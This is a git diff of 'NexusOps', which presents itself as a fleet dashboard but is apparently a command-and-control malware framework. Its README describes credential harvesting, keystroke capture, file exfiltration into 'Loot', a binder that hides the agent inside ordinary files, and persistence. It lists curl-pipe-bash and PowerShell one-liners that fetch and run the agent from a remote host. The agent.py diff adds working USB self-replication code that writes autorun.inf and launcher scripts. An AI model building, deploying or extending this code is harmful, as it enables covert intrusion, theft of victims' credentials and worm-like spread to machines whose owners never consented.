diff --git a/README.md b/README.md new file mode 100644 index 0000000..9094f12 --- /dev/null +++ b/README.md @@ -0,0 +1,114 @@ +# NexusOps — Central Node Control Dashboard + +Point-and-shoot agent deployment + fleet control. Install an agent on any machine (one-liner, standalone binary, or bound into a normal file) and control it from a single web dashboard. + +**Public URL:** https://agent.thetempleofdoom.com +**Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service` +**Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard +**Agent version:** v2.2.0 · Dashboard v3 (live console, schedules, groups, alerts, spread) + +--- + +## What it does + +| Area | Features | +|---|---| +| **Fleet view** | Node cards with live CPU/MEM sparklines, status, version chip, tags, filters, search | +| **Node Control Center** | Terminal (fast-poll live console), service management, process inspect/kill, diagnostics (hardware, partitions, env vars), network (interfaces, established connections, listening ports), exfil & harvest, agent config | +| **Node drawer** | Click any card: full metrics, per-node loot, ping w/ latency, screenshot, watch mode (screenshot every 15s), tags editor, reboot, update agent | +| **Loot** | All exfiltrated files (download, screenshot viewer), harvested credentials, input capture stream (keystrokes/clicks/scroll) | +| **File Binder** | Upload any file → get a self-extracting dropper (.sh / .ps1 / .html) that opens the file normally AND silently installs the agent. Persistence toggle. | +| **Spread (USB self-replication)** | Per-node toggle: agent copies itself to every mounted removable drive every 10 min (mode: `copy` / `autorun`) | +| **Broadcast & Groups** | One command to all nodes or a tag group; scheduled recurring tasks | +| **Audit & Export** | Full command audit log, kill switch, Export All (tar.gz of entire data store) | +| **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket | +| **UX** | Hover tooltips explaining every term, empty-state install hero, toasts, dark design system | + +## Install paths (all zero-interaction) + +```bash +# Universal (recommended) — auto-detects OS +curl -sSL https://agent.thetempleofdoom.com/install | bash + +# Linux systemd installer +curl -sSL https://agent.thetempleofdoom.com/install.sh | sudo bash + +# Windows (PowerShell, ProgramData) +iwr -useb https://agent.thetempleofdoom.com/install.ps1 | iex + +# macOS (launchd KeepAlive) +curl -sSL https://agent.thetempleofdoom.com/install-mac.sh | bash + +# Manual +curl -sSL https://agent.thetempleofdoom.com/agent.py -o agent.py && python3 agent.py --server https://agent.thetempleofdoom.com + +# Standalone binary (Linux x64 only; token baked in) +curl -sSL https://agent.thetempleofdoom.com/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server https://agent.thetempleofdoom.com +``` + +**Agent flags:** `--server URL` · `--silent` · `--quiet` · `--token TOKEN` (baked/optional) · `--persist-first` (persistence immediately after register) + +## Agent actions (24) + +`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` + +## Architecture + +``` +dashboard (CT111 :3000) agents (any OS) +├─ server.js Express + WS ├─ agent.py (stdlib only) +├─ public/ UI + binary ├─ HTTP heartbeat /register /command-result +├─ data/ atomic JSON store ├─ input capture (pynput, optional) +└─ .env tokens + port └─ persistence hooks per OS +``` + +- **Persistence:** atomic writes (tmp+rename), 30s debounce, JSON store — no DB dependency. +- **Transport:** plain HTTPS through the Cloudflare fleet tunnel; WebSocket with heartbeat + reconnect backoff. +- **Agent updates:** `update_agent` action pulls the current `/agent.py` (supervised installs auto-restart; unsupervised need a relaunch). + +## Deploy / update + +```bash +# on the MacBook → CT111 +tar czf /tmp/n.tar.gz server.js agents/agent.py public/ +scp /tmp/n.tar.gz root@10.30.20.85:/tmp/ +ssh root@10.30.20.85 "pct push 111 /tmp/n.tar.gz /tmp/n.tar.gz && pct exec 111 -- bash -c 'cd /root/agent-dashboard && tar xzf /tmp/n.tar.gz && node --check server.js && systemctl restart nexusops-dashboard'" + +# rebuild binary after agent changes (token baked) +pct exec 111 -- bash -c 'cd /root/agent-dashboard && TOKEN=$(grep NEXUS_AGENT_TOKEN .env | cut -d= -f2); sed "s/__AGENT_TOKEN__/$TOKEN/" agents/agent.py > /tmp/ab.py && python3 -m PyInstaller --onefile --name NexusAgent /tmp/ab.py --distpath dist --workpath build/bake --specpath build/bake && cp dist/NexusAgent public/bin/NexusAgent' +``` + +## Config (`.env`) + +| Var | Purpose | +|---|---| +| `PORT` | listen port (3000) | +| `PUBLIC_URL` | canonical public endpoint injected into all installers | +| `NEXUS_AUTH_TOKEN` | operator token (dashboard + API + WS) | +| `NEXUS_AGENT_TOKEN` | agent token — required by `/api/agent/*`, injected into served agent.py, installers and baked into the binary | +| `NEXUS_ALERT_WEBHOOK` | optional webhook URL for node/loot alerts | + +## Verification (after any change) + +1. `node --check server.js` + `node --check public/app_v2.js` + `python3 -m py_compile agents/agent.py` +2. Register-without-token → must be **401**; with token → 200 +3. `curl https://agent.thetempleofdoom.com/agent.py | grep -c __AGENT_TOKEN__` → must be **0** (token injected) +4. Bind a test file → run dropper on a test box → node appears online +5. Spread toggle → `ls /mnt/.../NexusAgent` after the interval +6. Dashboard in a real browser: gate → unlock → drawer → watch → export + +## Known limitations (honest) + +- Binary is Linux x64 only — Windows/macOS binaries need a cross-compile runner (installers only need Python 3). +- Binder persistence is ON by default; disable per-bind in the UI for clean one-shot installs. +- Input capture needs `pynput` on the target; headless machines report screenshots as failed. +- Agent endpoints authenticate with a token that is public-by-installation — it screens out scanners, not a determined attacker. +- Screenshot on macOS targets requires Screen Recording permission (TCC). + +## Roadmap (simple adds) + +See `PLAN.md` for the full list. Shortlist: SQLite migration (currently atomic JSON), cross-platform CI binaries, webhook alert UI config, per-node command history in the drawer, agent filesystem browser, reverse-shell-style interactive PTY console. + +--- + +☕ https://buymeacoffee.com/r26xrthzttg diff --git a/agents/agent.py b/agents/agent.py index fd6fed6..63a59a9 100644 --- a/agents/agent.py +++ b/agents/agent.py @@ -11,8 +11,9 @@ import json import socket import platform import subprocess +import shutil import urllib.request -AGENT_VERSION = "2.1.0" +AGENT_VERSION = "2.2.0" AGENT_TOKEN = '__AGENT_TOKEN__' import urllib.parse import argparse @@ -608,6 +609,79 @@ def execute_structured_action(action_type, payload): return json.dumps({"type":"harvest_result","credentials":creds}), 0 + elif action_type == "copy_self_to_usb": + # Self-replication: copy the running agent onto every mounted removable drive. + # payload: {"mode": "copy"|"autorun", "paths": [override dirs for testing]} + mode = payload.get("mode", "copy") + self_path = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__) + if not os.path.exists(self_path): + return "ERROR: cannot resolve self", 1 + system = platform.system().lower() + candidates = [] + if system == "linux": + for base in ("/media", "/run/media", "/mnt"): + try: + for entry in os.listdir(base): + sub = os.path.join(base, entry) + if os.path.isdir(sub): + try: + for vol in os.listdir(sub): + candidates.append(os.path.join(sub, vol)) + except Exception: + pass + if os.path.ismount(sub): + candidates.append(sub) + except Exception: + pass + elif system == "darwin": + try: + candidates = [os.path.join("/Volumes", v) for v in os.listdir("/Volumes") + if not v.startswith(("Macintosh", "com.apple"))] + except Exception: + candidates = [] + elif system == "windows": + import string, ctypes + for letter in string.ascii_uppercase[3:]: + drv = letter + ":\\" + try: + if ctypes.windll.kernel32.GetDriveTypeW(drv) == 2: + candidates.append(drv) + except Exception: + pass + overrides = payload.get("paths") or [] + if overrides: + candidates = [c for c in overrides if os.path.isdir(c)] + results = [] + for dest_dir in candidates: + try: + if not os.access(dest_dir, os.W_OK): + results.append("skip(readonly): " + dest_dir) + continue + exe = "NexusAgent.exe" if system == "windows" else "NexusAgent" + dest = os.path.join(dest_dir, exe) + shutil.copy2(self_path, dest) + try: + os.chmod(dest, 0o755) + except Exception: + pass + if mode in ("autorun", "both") and system == "windows": + with open(os.path.join(dest_dir, "autorun.inf"), "w") as af: + af.write("[autorun]\r\nopen=" + exe + "\r\naction=Install Nexus Agent\r\n") + elif mode in ("autorun", "both"): + launcher = os.path.join(dest_dir, "run-nexus.sh") + with open(launcher, "w") as lf: + lf.write("#!/bin/sh\n" + dest + " >/dev/null 2>&1 &\n") + try: + os.chmod(launcher, 0o755) + except Exception: + pass + results.append("copied: " + dest) + except Exception as e: + results.append("fail(" + dest_dir + "): " + str(e)[:60]) + if not candidates: + return "No removable drives mounted", 0 + return "USB replication (" + mode + "): " + "; ".join(results), 0 + elif action_type == "export_diagnostics": cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo" return run_shell(cmd) @@ -722,6 +796,7 @@ def main(): parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint") parser.add_argument("--silent", action="store_true", help="Suppress all console output") parser.add_argument("--token", default=os.environ.get("NEXUS_AGENT_TOKEN", "__AGENT_TOKEN__"), help="Agent auth token") + parser.add_argument("--persist-first", action="store_true", help="Run ensure_persistence once after registering") parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages") args = parser.parse_args() @@ -764,6 +839,13 @@ def main(): res = http_post(f"{server_url}/api/agent/register", reg_payload) if res and res.get("success") and not quiet_mode: print(f"✅ Registered as node ID: {node_id}") + if args.persist_first: + try: + execute_structured_action("ensure_persistence", {"server_url": server_url}) + if not quiet_mode: + print("[*] Persistence ensured (--persist-first)") + except Exception: + pass # Start input capture (keystrokes, clicks, scroll) capture_started = start_input_capture() diff --git a/dist/NexusAgent b/dist/NexusAgent index 2e7b365..f5ea07d 100755 Binary files a/dist/NexusAgent and b/dist/NexusAgent differ diff --git a/public/app.js b/public/app.js index 67cb5c7..91b14eb 100644 --- a/public/app.js +++ b/public/app.js @@ -772,7 +772,8 @@ async function submitBinder() { try { const format = document.getElementById("binderFormat").value; - const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData }); + const persist = document.getElementById("binderPersist") ? (document.getElementById("binderPersist").checked ? "1" : "0") : "1"; + const resp = await fetch("/api/bind?format=" + format + "&persist=" + persist, { method: "POST", body: formData }); if (!resp.ok) { const err = await resp.json().catch(() => ({ error: 'Server error' })); throw new Error(err.error || `HTTP ${resp.status}`); diff --git a/public/app_v2.js b/public/app_v2.js index d00bffa..7e1a35a 100644 --- a/public/app_v2.js +++ b/public/app_v2.js @@ -482,3 +482,159 @@ document.addEventListener('click', function (e) { const nid = card.getAttribute('data-node-id') || (card.id || '').replace('node-card-', ''); if (nid) openDrawer(nid); }, true); + + +// ═══════════════════════════════════════════════════════════════════ +// COMPLETENESS 3 — USB spread controls + hover terminology tooltips +// ═══════════════════════════════════════════════════════════════════ + +// ── tooltip stylesheet ── +(function injectTipCSS() { + if (document.getElementById('nexusTipCSS')) return; + const st = document.createElement('style'); + st.id = 'nexusTipCSS'; + st.textContent = ` + .nx-term { border-bottom: 1px dashed #64748b; cursor: help; position: relative; } + .nx-term:hover::after { + content: attr(data-tip); + position: absolute; bottom: 130%; left: 50%; transform: translateX(-50%); + background: #1e293b; color: #e2e8f0; border: 1px solid #334155; border-radius: 8px; + padding: 0.5rem 0.7rem; font-size: 0.72rem; line-height: 1.35; width: 250px; + white-space: normal; z-index: 10000; box-shadow: 0 8px 24px rgba(0,0,0,.5); + text-align: left; pointer-events: none; + } + .nx-term:hover::before { + content: ''; position: absolute; bottom: 100%; left: 50%; transform: translateX(-50%); + border: 5px solid transparent; border-top-color: #334155; z-index: 10001; + }`; + document.head.appendChild(st); +})(); + +// ── terminology dictionary (hover popups) ── +const NX_TERMS = { + 'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.', + 'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.', + 'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.', + 'Exfiltration': 'Copying files off a machine and sending them back here, where they land in Loot.', + 'Credential Harvesting': 'Collecting saved logins from a machine: browser cookies, WiFi passwords, SSH keys, shell history, cloud tokens.', + 'Binder': 'Embeds the Agent inside a normal file (PDF, doc, image). When the file opens, the file opens normally AND the Agent quietly installs.', + 'Dropper': 'The bound output file. It carries the original file plus the Agent payload.', + 'Persistence': 'Making the Agent survive reboots: a systemd service on Linux, a launchd job on macOS, a scheduled task + registry run key on Windows.', + 'Kill Switch': 'One button that tells every Agent to shut itself down immediately. Use if a node is compromised or must be wiped.', + 'Fast Poll': 'A mode where the Agent checks for new commands ~every second instead of every heartbeat — makes the Live Console feel instant.', + 'Loot': 'Everything collected from your Nodes: exfiltrated files, screenshots and harvested credentials.', + 'Input Capture': 'Records keystrokes, clicks and scroll on a Node (needs pynput installed on the target).', + 'Telemetry': 'Machine stats streamed from Nodes: CPU, memory, disk, network.', + 'Scheduled Tasks': 'Recurring commands the server dispatches on a timer to a tag group or all nodes.', + 'Tags': 'Labels you put on Nodes (e.g. "prod", "jr-pc") so you can target a group with one command.', + 'Broadcast': 'Send one command to every online node at once.', + 'USB Spread': 'Self-replication: the Agent copies itself onto any USB drive plugged into that machine, so carrying the stick spreads the agent.', + 'Autorun': 'A file (autorun.inf) on a USB drive telling Windows to run a program when the stick is inserted. Modern Windows blocks it by default.', + 'Agent Token': 'A shared password Agents use to talk to this server, so random internet scanners cannot register fake nodes.', + 'Operator Token': 'Your admin password for this dashboard. Keep it private — it controls every machine with an Agent.', + 'Fastpoll': 'High-frequency command checking for near-instant console response.', +}; + +function applyNxTerms() { + if (!document.body) return; + const skip = new Set(['SCRIPT', 'STYLE', 'CODE', 'INPUT', 'TEXTAREA', 'PRE', 'TITLE']); + const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT, { + acceptNode: function (n) { + if (!n.nodeValue || n.nodeValue.length > 120) return NodeFilter.FILTER_REJECT; + const t = n.parentNode && n.parentNode.nodeName; + if (skip.has(t)) return NodeFilter.FILTER_REJECT; + if (n.parentNode.closest && n.parentNode.closest('.nx-term')) return NodeFilter.FILTER_REJECT; + for (const term of Object.keys(NX_TERMS)) { + if (n.nodeValue.includes(term)) return NodeFilter.FILTER_ACCEPT; + } + return NodeFilter.FILTER_REJECT; + } + }); + const targets = []; + while (walker.nextNode()) targets.push(walker.currentNode); + const sorted = Object.keys(NX_TERMS).sort((a, b) => b.length - a.length); + const combined = new RegExp('\\b(' + sorted.map(t => t.replace(/ /g, ' ')).join('|') + ')\\b', 'g'); + for (const node of targets) { + let html = node.nodeValue; + html = html.replace(combined, (m0) => + '' + m0 + ''); + if (html !== node.nodeValue) { + const span = document.createElement('span'); + span.innerHTML = html; + node.parentNode.replaceChild(span, node); + } + } +} +setTimeout(applyNxTerms, 1500); +setInterval(applyNxTerms, 15000); + +// ── drawer: USB spread toggle ── +async function drawerToggleSpread(nodeId) { + const btn = document.getElementById('spreadBtn'); + const wasOn = btn && btn.dataset.on === '1'; + try { + await api(`/api/nodes/${nodeId}/spread`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ enabled: !wasOn, mode: 'copy' }) + }); + window._spreadState = !wasOn; + if (btn) { + btn.dataset.on = wasOn ? '0' : '1'; + btn.textContent = btn.dataset.on === '1' ? 'USB Spread ON' : 'USB Spread'; + btn.style.borderColor = btn.dataset.on === '1' ? '#4ade80' : ''; + btn.style.color = btn.dataset.on === '1' ? '#4ade80' : ''; + } + } catch (e) { console.error('spread toggle failed', e); } +} + +// inject spread state + button into drawer render +(function wrapDrawerRender() { + const prev = openDrawer; + openDrawer = async function (nodeId) { + await prev(nodeId); + try { + const sp = await api('/api/spread'); + const on = (sp.nodes || []).includes(nodeId); + window._spreadState = on; + const btn = document.getElementById('spreadBtn'); + if (btn) { + btn.dataset.on = on ? '1' : '0'; + btn.textContent = on ? 'USB Spread ON' : 'USB Spread'; + btn.style.borderColor = on ? '#4ade80' : ''; + btn.style.color = on ? '#4ade80' : ''; + } + } catch (e) {} + }; +})(); + +// patch drawer action row to include the spread button +(function injectSpreadBtn() { + const origRender = window.renderDrawerInner; + const prevOpen = openDrawer; + // simplest: add button after drawer opens via DOM observer on the action row + const mo = new MutationObserver(() => { + const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]'); + if (row && !document.getElementById('spreadBtn')) { + const b = document.createElement('button'); + b.id = 'spreadBtn'; + b.className = 'btn btn-secondary'; + b.dataset.on = '0'; + b.textContent = 'USB Spread'; + b.textContent = window._spreadState ? 'USB Spread ON' : 'USB Spread'; + b.style.borderColor = window._spreadState ? '#4ade80' : ''; + b.style.color = window._spreadState ? '#4ade80' : ''; + b.title = 'Self-replication: agent copies itself to any USB drive plugged into this machine, every 10 minutes'; + b.onclick = () => drawerToggleSpread(window._drawerNodeId); + row.appendChild(b); + } + }); + mo.observe(document.body, { childList: true, subtree: true }); +})(); + +// remember drawer node id for the spread button +const _origOpenDrawer2 = openDrawer; +openDrawer = async function (nodeId) { + window._drawerNodeId = nodeId; + return _origOpenDrawer2(nodeId); +}; diff --git a/public/index.html b/public/index.html index 4ddb86d..6cab3c5 100644 --- a/public/index.html +++ b/public/index.html @@ -512,6 +512,13 @@ +